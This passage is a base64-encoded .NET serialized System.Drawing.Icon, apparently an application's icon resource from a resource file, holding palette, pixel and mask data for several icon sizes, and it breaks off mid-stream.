AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAH5iAAACAAABAAkAMDAQAAEABABoBgAAlgAAACAgEAABAAQA6AIAAP4GAAAQEBAAAQAEACgBAADmCQAAMDAAAAEACACoDgAADgsAACAgAAABAAgAqAgAALYZAAAQEAAAAQAIAGgFAABeIgAAMDAAAAEAIACoJQAAxicAACAgAAABACAAqBAAAG5NAAAQEAAAAQAgAGgEAAAWXgAAKAAAADAAAABgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wCAAIAA/wAAAIAAAAD//wAAgIAAAAD/AAAAgAAAAP//AACAgAAAAP8AAACAAP///wDAwMAAgICAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8zMz///////////mZ///////////////MzM///////////5mZn/////////////zMzP///////////5iZmf////////////zMz////////////5iJmZ////////////zMz/////////////mImZn///////////zMz////8////////+YiZmf//////////zMzP///M/////////5iJmZ//////////zMzM//zM//////////mImZn/////////zMzMzMzM//////////+YiZmf///////8zMzMzMzM///////////5iJmZ///////MzMzMzMzP////////////mImZn/////zM3MzMzMz/////////////+YiZmf///8zNzM///////////////////5iJmZ///MzczP////////////////////mImZnPzM3Mz/////////////////////+YiZz8zNzM///////////////////////5iM/MzczP////////////////////////nPzM3Mz/////////////////////////z8zNzM///////////////////////////MzczP//////////////////////////zM3Mz8/////////////////////////8zNzM/Jn////////////////////////MzczPyJmf//////////////////////zM3Mz/+YmZ/////////////////////8zNzM///5iZn////////////////////MzczP////mJmf//////////////zMzMzM3Mz/////+YmZ/////////////8zMzMzNzM///////5iZn///////3////MzMzMzMzP////////mJ///////9/////MzMzMzMz/////////+f/////////////Mz//MzMz////////////////////////M///8zMz////////////////////////P////zMz/////////////////////////////zMz///////////////3/////////////zMz//////////////9/////////////8zMz//////////////f/////////////MzM//////////////3/////////////zMzP//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAP///////wAA////////AAD///////8AAP///////wAA/////gf/AAD4///8A/8AAPB///gH/wAA4D//8A//AADgH//wH/8AAOAP//AffwAA8Af/8D4/AAD4A//wHD8AAPwB//AAPwAA/gD/8AA/AAD/AH/gAD8AAP+AP8AAPwAA/8AfgAB/AAD/4A8AAP8AAP/wBgAB/wAA//gAAP//AAD//AAB//8AAP/+AAP//wAA//8AB///AAD//4AP//8AAP//gB///wAA//8AH///AAD//gAP//8AAP/8AAf/3wAA//gAA/8PAAD/8AMB/gcAAPgAB4D8AwAA8AAPwHwBAADgAB/gPAEAAMAAP/AAAwAAwAB/+AAHAADAAP/8AA8AAMOA//4AfwAAx8D//wB/AADvwP//AH8AAP/A//8A/wAA/4D//gH/AAD/AfgAA/8AAP4D/wAH/wAA/wf/4D//AAD///////8AAP///////wAA////////AAAoAAAAIAAAAEAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP//////////////////////////////////////////////////////////////////////////////////////////////////zM////////mZ/////////Mz////////5iZ////////zP////////+ZiZ///////8z//8//////+ZiZ///////Mz/zP//////+ZiZ/////8zMzMz///////+ZiZ////zNzMzP////////+ZiZn//M3M////////////+ZiZz8zcz/////////////+ZjPzNzP//////////////+c/M3M////////////////z8zcz/////////////////zNzP/////////////////M3M/P///////////////8zcz8if//////////////zNzP/5if/////////////M3M///5if/////f///8zMzcz////5if///9////zMzMzP/////5j////////8z/zM/////////////////P//zP//////////3////////8z//////////f////////zM/////////9/////////Mz////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP/////////////////////5n////M////mJ///8/////5if//z/z///+YnPzMzP////nPzc///////Pzc////////zc////////zc/P/////MzM//n////8/8//////////z////9////zP///9//////////////////////////8AAJ+PAAAPDwAABxMAAIMDAADAAwAA4AcAAPA/AADwfwAAgDkAAAEYAAADgQAAI8MAAMOHAADGDwAA//8AACgAAAAwAAAAYAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgIAAoKCAAJWqgCGgn4Amp7CADoyLgDSysIA3t7mAFZOSgBqYl4A7urmAFpijgAiHhoA1tLSAEY6OgBmVlIAWmamADIuKgD29vYA3t7aAE5GQgCCiroA1tLKAObi4gBeWlIAfnJqAPLy7gBudpoAKiYiAEI6MgBKPjoAAv7+AGZeWgBuerIALi4yABIODgACgv4AysrKAFpWTgDe2tYA/v76AK6qqgDa0soA6urmAIJyagB2grYA7u7uAGJuqgDm4t4ATkJCAKauzgA6MjIAXmaOACoiIgD++voA4uLeAObm4gByeqIALiomAEpCOgBuXloANjY2AHqKugCqln4A0s7OAOLm7gBeUkoA7u7qACoiHgDe1tIA+vr2AN7e3gBiXlYAdnZ2APb28gBudp4AKiYmAEY+NgA2MjYAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgDazsIA4uLqAFZSSgBWXooAWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4AUkpGAJaavgDS0s4AYlpWAPLy8gBCOjYAZmJaADIyMgASEg4AXlZSANra2gCyrqoAgnZuAHqGtgCqstIAPjYyAEpCPgAGBgYAlpKOAEI2KgDWzsYA2t7qAG5iXgDu6uoAJh4eAEY+OgBeaqoANi4qAPr29gDi3toAUkZCAIKOtgCampoAwsLaAHZ+tgB+dnIAenJuAKqu0gBaUk4AFhISAGJaUgBydpoALiYiAEo+PgBqXloAMi4yAF5WTgD+/v4A2tLOAOrq6gB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgDy7uoA+vr6AOLe3gBydp4ALiYmAN7WzgBmcq4A6ubmAF5ikgDa1tYAZlpWANbSzgD28vIARjo2AN7a2gCyrq4AhnZuAD42NgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD09PT09AAAAAAAAAAAAAAAAAAAAAAA9PT0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD0CAgI9AAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAAAAAAAAAAAAAPQICAgICPQAAAAAAAAAAAAAAAAAAAAAAAD0TExMTKD0AAAAAAAAAAAAAAAAAAAAAPQIkAgICAj0AAAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAD0AAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAPRM9AAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAAAAAAD0TExMTEz0AAAA9ExM9AAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAD0TExMTExM9PT0TExM9AAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAD0TExMTExMTExMTExM9AAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAPRMTExMTExMTExMTEygAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAA9ExMogRMTExMTExMTKD0AAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAD0TEyiBExMoKCgoKCgoPQAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAPRMTKIETEyg9PT09PT09AAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgIlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJCU9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPSU9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9JQICPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0lAgICAj0AAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPQA9AiQCAgI9AAAAAAAAAAAAAD09PT0AAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9AAAAPQIkAgICPQAAAAAAAAAAPT09PT09AAAAAAAAAAA9PT09PT09ExMogRMTKD0AAAAAAD0CJAICAj0AAAAAAAA9PT09PT09PQAAAAAAAD0TExMTExMTEyiBExMoPQAAAAAAAAA9AiQCAgI9AAAAAAA9PT09PT09PT0AAAAAPRMTExMTExMTExMTEyg9AAAAAAAAAAAAPQIkAgICPQAAAAA9PT09PT0lPT0AAAA9ExMTExMTExMTExMTKD0AAAAAAAAAAAAAAD0CJAI9PT09PT09PT09PSU9PQAAAAA9ExMTKCgoExMTExMoPQAAAAAAAAAAAAAAAAA9Aj09PT09PT09PT09PT09AAAAAAA9ExMoPT09ExMTExMoPQAAAAAAAAAAAAAAAAAAPT09PT09PT09PT09PT0AAAAAAAA9Eyg9AAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD09PT09PT09PT0AAAAAAAAAAAA9KD0AAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT09PT0AAAAAAAAAAAAAPQAAAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT0lPT0AAAAAAAAAAAAAAAAAAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PSU9PQAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD09PT09JT09AAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAPT09PT09PT09PT09PT0lPT0AAAAAAAAAAAAAAAAAAAAAAD0oKCgoKD0AAAAAAAAAAAAAPT09PT09PT09PT09PQAAAAAAAAAAAAAAAAAAAAAAAAA9PT09PQAAAAAAAAAAAAAAAAAAPT09PT09PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD///////8AAP///////wAA////////AAD///////8AAP////4H/wAA+P///AP/AADwf//4B/8AAOA///AP/wAA4B//8B//AADgD//wH38AAPAH//A+PwAA+AP/8Bw/AAD8Af/wAD8AAP4A//AAPwAA/wB/4AA/AAD/gD/AAD8AAP/AH4AAfwAA/+APAAD/AAD/8AYAAf8AAP/4AAD//wAA//wAAf//AAD//gAD//8AAP//AAf//wAA//+AD///AAD//4Af//8AAP//AB///wAA//4AD///AAD//AAH/98AAP/4AAP/DwAA//ADAf4HAAD4AAeA/AMAAPAAD8B8AQAA4AAf4DwBAADAAD/wAAMAAMAAf/gABwAAwAD//AAPAADDgP/+AH8AAMfA//8AfwAA78D//wB/AAD/wP//AP8AAP+A//4B/wAA/wH4AAP/AAD+A/8AB/8AAP8H/+A//wAA////////AAD///////8AAP///////wAAKAAAACAAAABAAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgACgoIAAlaqAIaCfgCansIAOjIuANLKwgDe3uYAVk5KAFZSXgBaYo4A7urmACIeGgDW0tIARjo6AGZWUgBaZqYAMi4qAPb29gDe3toAgoq6AObi4gBeWlIAfnJqAE5GQgDW0soAbnaaAPLy7gAqJiIAAv7+AEI6MgBKPjoAAoL+AFpWTgBmXloAbnqyAC4uMgCCcmoAEg4OAMrKygDe2tYA/v76AK6qqgDq6uYA2tLKAHaCtgDu7u4AYm6qAObi3gBOQkIAqpZ+AKauzgA6MjIA4ubuAF5SSgBeZo4AKiIiAP76+gDi4t4A5ubiAHJ6ogAuKiYASkI6AG5eWgA2NjYAeoq6ANLOzgDe3u4AVlJKAFZeigDu7uoAKiIeAN7W0gD6+vYA3t7eAGJeVgB2dnYAbnaeAPb28gAqJiYARj42ADYyNgCGenIAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgCWko4A2s7CAOLi6gBqYl4AWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4Alpq+AGJaVgBSSkYA0tLOAPLy8gBCOjYAXlZSAGZiWgAyMjIAgnZuABISDgDa2toAsq6qAHqGtgCqstIAPjYyAEpCPgBaUk4ABgYGAEI2KgDWzsYA2t7qAO7q6gAmHh4ARj46AF5qqgA2LioA+vb2AAK+/gCuopoAwsLaAJqamgB2frYAfnZyAIKOtgB6cm4Aqq7SABYSEgDi3toAYlpSAFJGQgBydpoALiYiAEo+PgBeVk4Aal5aADIuMgD+/v4A6urqANrSzgB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgBaUkoA8u7qAPr6+gDi3t4AcnaeAC4mJgDe1s4AZnKuAOrm5gBuYl4AXmKSANrW1gBmWlYA1tLOAPby8gBGOjYAhnZuAN7a2gCyrq4APjY2AE5CPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEAAAAAAAAAAAAAAAEBAQAAAAAAAAAAAAAAAAABAJycpQEAAAAAAAAAAAABAAgICQAAAAAAAAAAAAAAAQCcnKUBAAAAAAAAAAAAAAEACIAICQAAAAAAAAAAAAABAJydAQAAAQAAAAAAAAAAAQAICIAICQAAAAAAAAAAAAEAnJ0AAAEAnQAAAAAAAAAAAQAICIAICQAAAAAAAAAAAQCcnJ0BAJydAAAAAAAAAAAAAQAICIAICQAAAAAAAAEAnJycnJycnKUAAAAAAAAAAAAAAQAICIAICQAAAAABAJycnJykpKSlAQAAAAAAAAAAAAAAAQAICIAICAgAAQCcnTCcpQEBAQEAAAAAAAAAAAAAAAAAAQAICIAICJ0AnJ0wnKUBAQEBAAAAAAAAAAAAAAAAAAAAAQAICICdAJydMJylAQAAAAAAAAAAAAAAAAAAAAAAAAAAAQAInQCcnTCcpQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ0AnJ0wnKUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAJydMJylAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQCcnTCcpQCdAAAAAAAAAAABAQAAAAAAAAAAAAAAAAEAnJ0wnKUAnIAJAAAAAAAAAQEBAQAAAAAAAAAAAAABAJydMJylAAEACIAJAAAAAAABAQEBAQAAAAAAAQEBAQCcnTCcpQAAAAEACIAJAAAAAAEBAQCdAQAAAAEAnJycnJycnKUAAAAAAAEACIAJAAABAQEAnQEAAAABAJycnJycnJylAAAAAAAAAAEACIEBAQEBAQEBAAAAAAEAnKUBAJycpQAAAAAAAAAAAAEBAQEBAQEBAAAAAAAAAQClAAABAJylAAAAAAAAAAAAAAEBAQEBAJ0AAAAAAAAAAQAAAAEAnKUAAAAAAAAAAAAAAQEBAQCdAAAAAAAAAAAAAAABAJycpQAAAAAAAAAAAAABAQEAnQAAAAAAAAAAAAAAAQCkpKUAAAAAAAEBAQEBAQEBAQEAAAAAAAAAAAAAAAAAAQEBAAAAAAAAAAEBAQEBAQEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICAAKCggACVqoAqpZ+ADYuKgCansIA2s7CAN7e5gBSSkYA8vLyAFZSXgBaYo4ARjo6ACYeHgBaZqYA2tbSAOrm4gAuKiYAQjoyAF5WTgBudpoA3t7aAAL+/gD6+vYASj46AComIgDq6uoAAoL+AIKKugA2MjYA3t7uAFZSSgB2frYAdoK2ANLOzgBeZo4AYm6qAC4uMgBiWlYAcnqiAObi3gBOQkIAEg4OAMrKygD69vYAdnZ2ACYiHgDa2toA6urmAEY+NgBmWlIAbnaeAOLi3gD+/v4ASkI6AComJgDy7uoAsq6qAD42MgBaVk4Aeoq6ANrWzgBmcqoAmpqaAEI2KgDm5uYA9vb2AFpikgBCPkIA3trWAEI6NgBeWlIA3t7eAP7++gDi5u4AWlJOAH6GugDa0s4AMjIyACoiIgBKQj4ABgYGADoyLgCqrtIA5uLiAFZOSgD28vIAVl6KAEY+OgDa1tYA6ubmADIuKgBydpoA4t7aAPr6+gAuJiIA7u7uAAK+/gCCjrYANjY2AOLi6gBaUkoAeoa2ANbSzgBeZpIAZm6qADIuMgAWEhIAwsLaAIZ6cgAqIh4A7urmAHJ2ngAuJiYA8u7uAL6+vgA+NjYAZnKuAK6imgBeYpIARjo2AGJaUgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHR0AAAAAAAAdHR0AAAAAHQICHQAAAAAdFRUdAAAAAB0CGwIdAAAAHRUdAB0dAAAAHQIbAh0AAB0VHR01HQAAAAAdAhsCKx0VFTU1NR0AAAAAAB0CYR0VPzUdHR0AAAAAAAAAKx0VPzUdAAAAAAAAAAAAAB0VPzUdAAAAAAAAAAAdHR0VPzUdYR0AAAAdHQAdFRUVFTUdAB0CHQAAHR0dHRUdHTUdAAAAHR0dHR0dAB0dAB01HQAAAAAdHSsdAAAAAB01NR0AAAAAHSsdAAAAAAAdHR0AAB0dHR0dAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAn48AAA8PAAAHEwAAgwMAAMADAADgBwAA8D8AAPB/AACAOQAAARgAAAOBAAAjwwAAw8cAAMYPAAD//wAAKAAAADAAAABgAAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAGAAAADgAAABIAAAATAAAAEQAAAAsAAAAD////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAIAAAAEAAAABMAAAAPAAAABwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAgAAAAwAAAAdAAAALwAAADgAAAA6AAAANgAAACQAAAAL////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAoAAAAeAAAAMwAAADoAAAAyAAAAHQAAAAkAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAACAAAADwAAACUqJSJrXlhT30lAOv9JQDr/SUA6/1tUT7EAAAAOSD85AEg/OQD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAABwAAAB41MjVzSD85/0g/Of9IPzn/KCMfZAAAAB4AAAAJAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAMAAAAJTw1MKhWTkr22NbV/+fn5v/r6en/+fj4/0g/Of8AAAAH////AEg/OQH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAADy0nJGVIPzn/ZXGr/2Nvqv9kb6v/SD85/ygjH2QAAAAfAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAYAAAAdPTUwp2JbVu/x8fH/8vLy/+7u7v/7+vr/TEM9/0E5M0YAAAABSD85B////wD///8ASD85AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAE0g/Of9bZ6b/e4W0/4GKuP91gLT/YW2p/0g/Of8qJSJrAAAAHwAAAAkAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAA4tKCRhV09K9vf39//4+Pj/9PT0//z8/P9IPzn/QDgzQwAAAAH///8AAAAAASQfHA4FBAQPAAAACwAAAAP///8A////AP///wD///8A////AP///wD///8AAAAAD0g/Of+Yn8P/wMPb/4KMt/+Birj/d4G1/2Ftqv9IPzn/KiUiawAAAB8AAAAJAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAABJhWlXc3tza//z8/P/6+vr//f39/0g/Of82LytJAAAAAv///wAAAAABAAAACQAAAB0AAAAuAAAAJAAAAAv///8A////AP///wD///8A////AP///wD///8AAAAAB0g/Of98hrn/mJ/D/8DD2/+CjLf/gYq4/3WAtP9lcKz/SD85/yslImoAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAABNJQDr/8vHx//r6+v/8/Pz//v7+/0g/Of8AAAAiAAAACQAAAAIAAAAJAAAAHiUgHV5IPzn/WlNOswAAABH///8A////AP///wD///8A////AP///wD///8AAAAAAUE5M0ZIPzn/fIa5/5ifw//Aw9v/goy3/4GKuP93grX/W2em/0g/Of8qJCFoAAAAHgAAAAkAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAABNJQDr/9PLx//n4+P/9/f3//v7+/0g/Of8lIB1eAAAAIgAAABgAAAAiKyUiakg/Of/W0M3/SUA6/gAAABP///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3yGuf+Yn8P/wMPb/4KMt/+Birj/doG1/2RwqvxIPzn/KCMfZAAAAB4AAAAJAAAAAf///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAABVJQDr/8u/v//j29v/8/Pr/+vr6/7Ctqv9IPzn/KCMgcAAAADwkIB1oSD85/9rV0v/m4+H/SD85/wAAABL///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABQDgzQ0g/Of98hrn/mJ/D/8DD2/+CjLf/gYq4/3aAtf9gbKj9SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wAAAAABAAAACQAAACJJQDr+8O/u//b18//6+fn//Pz8//j4+P+vq6n/SD85/0g/Of9IPzn/3tva/+fk4v/08vH/SUA6/wAAAA7///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAUA4M0NIPzn/fIa5/5ifw//Aw9v/goy3/4GKuP91gLT/Ym2p/Ug/Of8mIh5hAAAAHwAAAAkAAAAB////AP///wD///8A////AAAAAAEAAAAJAAAAHygjH2RIPzn/7+7s//Py8v/4+Pb//Pz8//n5+f/19fX/8PDw/+zs7P/n5+f/5OHh//Py8v/h3dz/XVVP2AAAAAb///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3yGuf+Yn8P/wMPb/4KMt/+Birj/dYC0/2RwqvxIPzn/KyYiawAAAB8AAAAJAAAAAf///wD///8AAAAAAQAAAAkAAAAfKiUia0g/Of/p5+T/7uvp//Lw7//29fX/+vr6//z8/P/29vb/8vLy/+7u7v/q6ur/8/Ly//b19f9lXlj1PzcySgAAAAH///8A////AP///wD///